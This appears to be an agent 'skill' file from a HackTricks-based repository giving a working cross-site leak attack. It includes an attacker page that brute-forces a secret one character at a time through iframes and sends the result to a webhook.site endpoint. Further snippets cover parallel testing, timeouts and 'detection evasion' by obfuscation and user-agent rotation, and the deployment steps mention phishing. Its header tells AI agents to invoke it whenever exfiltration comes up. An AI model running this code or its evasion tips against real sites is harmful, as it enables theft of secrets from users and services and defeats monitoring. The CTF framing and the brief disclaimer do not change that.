Hacktricks-skills javascript-execution-xs-leak
How to perform JavaScript execution XS (cross-site) leak attacks for security testing. Use this skill when you need to extract data from a target through JavaScript execution patterns, especially when dealing with XSS vulnerabilities that can communicate with parent windows or external endpoints. Make sure to use this skill whenever the user mentions XSS data exfiltration, JavaScript-based data leaks, cross-origin communication attacks, or needs to extract secrets/flags through JavaScript execution.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/xs-search/javascript-execution-xs-leak/SKILL.MDJavaScript Execution XS Leak
A technique for extracting data from a target through JavaScript execution patterns, leveraging cross-origin communication to leak information character-by-character.
What This Technique Does
This attack exploits JavaScript execution in XSS vulnerabilities to:
- Extract secrets, flags, or sensitive data character-by-character
- Use timing-based or callback-based detection to determine correct values
- Communicate results to an attacker-controlled endpoint
- Work even when direct data exfiltration is blocked
When to Use This
Use this technique when:
- You have an XSS vulnerability that allows JavaScript execution
- Direct data exfiltration is blocked or filtered
- You need to extract secrets that are validated server-side
- The target makes requests to external endpoints with user-controlled data
- You're performing authorized security testing
Core Concept
The attack works by:
- Server-side: Target accepts input and makes requests to external endpoints with that input
- Client-side: Attacker creates iframes that test each possible character
- Detection: If a character is correct, the server doesn't trigger a callback; if wrong, it does
- Extraction: Build the secret character-by-character until complete
Implementation Template
Server-Side Vulnerable Code Pattern
// This is what the vulnerable target looks like app.get("/guessing", function (req, res) { let guess = req.query.guess let page = `<html> <head> <script> function foo() { // This executes if the guess is WRONG window.parent.foo() } </script> <script src="https://axol.space/search?query=${guess}&hint=foo()"></script> </head> <p>hello</p> </html>` res.send(page) })
Attacker's Main Page
<html> <head> <script> let candidateIsGood = false let candidate = "" let flag = "bi0sctf{" // Known prefix let guessIndex = -1 // Character set to test (adjust based on target) let flagChars = "_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ" // Called from iframe IF the candidate is WRONG function foo() { candidateIsGood = false } timerId = setInterval(() => { if (candidateIsGood) { flag = candidate guessIndex = -1 // Send the flag to your webhook fetch("https://webhook.site/<your-webhook>?flag=" + flag) } // Start with true, will be changed to false if wrong candidateIsGood = true guessIndex++ if (guessIndex >= flagChars.length) { // All characters tested, flag complete fetch("https://webhook.site/<your-webhook>") return } let guess = flagChars[guessIndex] candidate = flag + guess // Create iframe to test this character let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>` console.log("Testing: ", candidate) hack.innerHTML = iframe }, 500) </script> </head> <p>hello</p> <div id="hack"></div> </html>
Step-by-Step Execution
1. Identify the Vulnerability
Look for endpoints that:
- Accept user input in query parameters
- Make requests to external endpoints with that input
- Execute JavaScript based on input validation
- Have callbacks that can be triggered from iframes
2. Set Up Your Webhook
Create a webhook endpoint to receive leaked data:
# Use webhook.site or similar service curl -X POST https://webhook.site/your-unique-id
3. Craft the Attack Page
- Set your known prefix (e.g.,
,flag{
)bi0sctf{ - Define the character set to test
- Create the iframe injection logic
- Set up the callback detection
4. Deploy and Monitor
- Host your attack page on a domain you control
- Serve it to the target (via XSS, phishing, etc.)
- Monitor your webhook for results
- The flag will be sent when complete
Character Set Variations
Adjust
flagChars based on the target:
// Standard CTF flag format let flagChars = "_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ" // Base64 let flagChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" // Hex let flagChars = "0123456789abcdef" // Alphanumeric only let flagChars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" // Include special characters let flagChars = "_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()"
Optimization Tips
Reduce Request Count
// Binary search approach for large character sets function binarySearch(chars, callback) { let left = 0 let right = chars.length - 1 while (left <= right) { let mid = Math.floor((left + right) / 2) // Test if character is in first half // Adjust based on your detection mechanism } }
Parallel Testing
// Test multiple characters simultaneously const MAX_IFRAMES = 5 let currentIframes = 0 function testCharacter(char) { if (currentIframes >= MAX_IFRAMES) return currentIframes++ let iframe = document.createElement('iframe') iframe.src = `/guessing?guess=${flag}${char}` iframe.onload = () => { currentIframes-- // Handle result } hack.appendChild(iframe) }
Error Handling
// Add timeout and retry logic let timeoutId = setTimeout(() => { // Handle timeout - character might be correct candidateIsGood = true }, 2000) function foo() { clearTimeout(timeoutId) candidateIsGood = false }
Detection Evasion
Obfuscate Your Attack
// Split the character set across multiple requests let chunk1 = "_0123456789abcdefghijklmnopqrstuvwxyz" let chunk2 = "}ABCDEFGHIJKLMNOPQRSTUVWXYZ" // Use different timing patterns let delays = [500, 750, 1000, 600, 800] let delayIndex = 0 setInterval(() => { let delay = delays[delayIndex % delays.length] delayIndex++ // ... rest of logic }, delay)
Rotate User Agents
const userAgents = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36' ] // Rotate through user agents for each request
Safety and Ethics
⚠️ IMPORTANT: Only use this technique on systems you have explicit authorization to test.
- Authorized testing only: Never use this on systems without permission
- Document your findings: Record what you discover for the target organization
- Respect scope: Stay within the boundaries of your authorization
- Legal compliance: Ensure your testing complies with applicable laws
Common Use Cases
- CTF Challenges: Extract flags from vulnerable web applications
- Bug Bounty: Find and report XSS vulnerabilities with data exfiltration potential
- Penetration Testing: Assess the impact of XSS vulnerabilities
- Security Research: Understand the mechanics of JavaScript-based data leaks
Troubleshooting
Issue: Callback not being triggered
Solution: Check that:
- The iframe is loading correctly
- The callback function is accessible from the iframe
- There are no CORS issues blocking the communication
Issue: Attack too slow
Solution:
- Reduce the delay between character tests
- Test multiple characters in parallel
- Use a smaller character set if you know the format
Issue: Webhook not receiving data
Solution:
- Verify your webhook URL is correct
- Check for CORS issues
- Ensure the fetch request is not being blocked
- Try a different webhook service
Related Techniques
- DNS exfiltration: Use DNS queries to leak data
- HTTP exfiltration: Direct HTTP requests to attacker-controlled endpoints
- Timing attacks: Use response times to extract data
- Image exfiltration: Encode data in image requests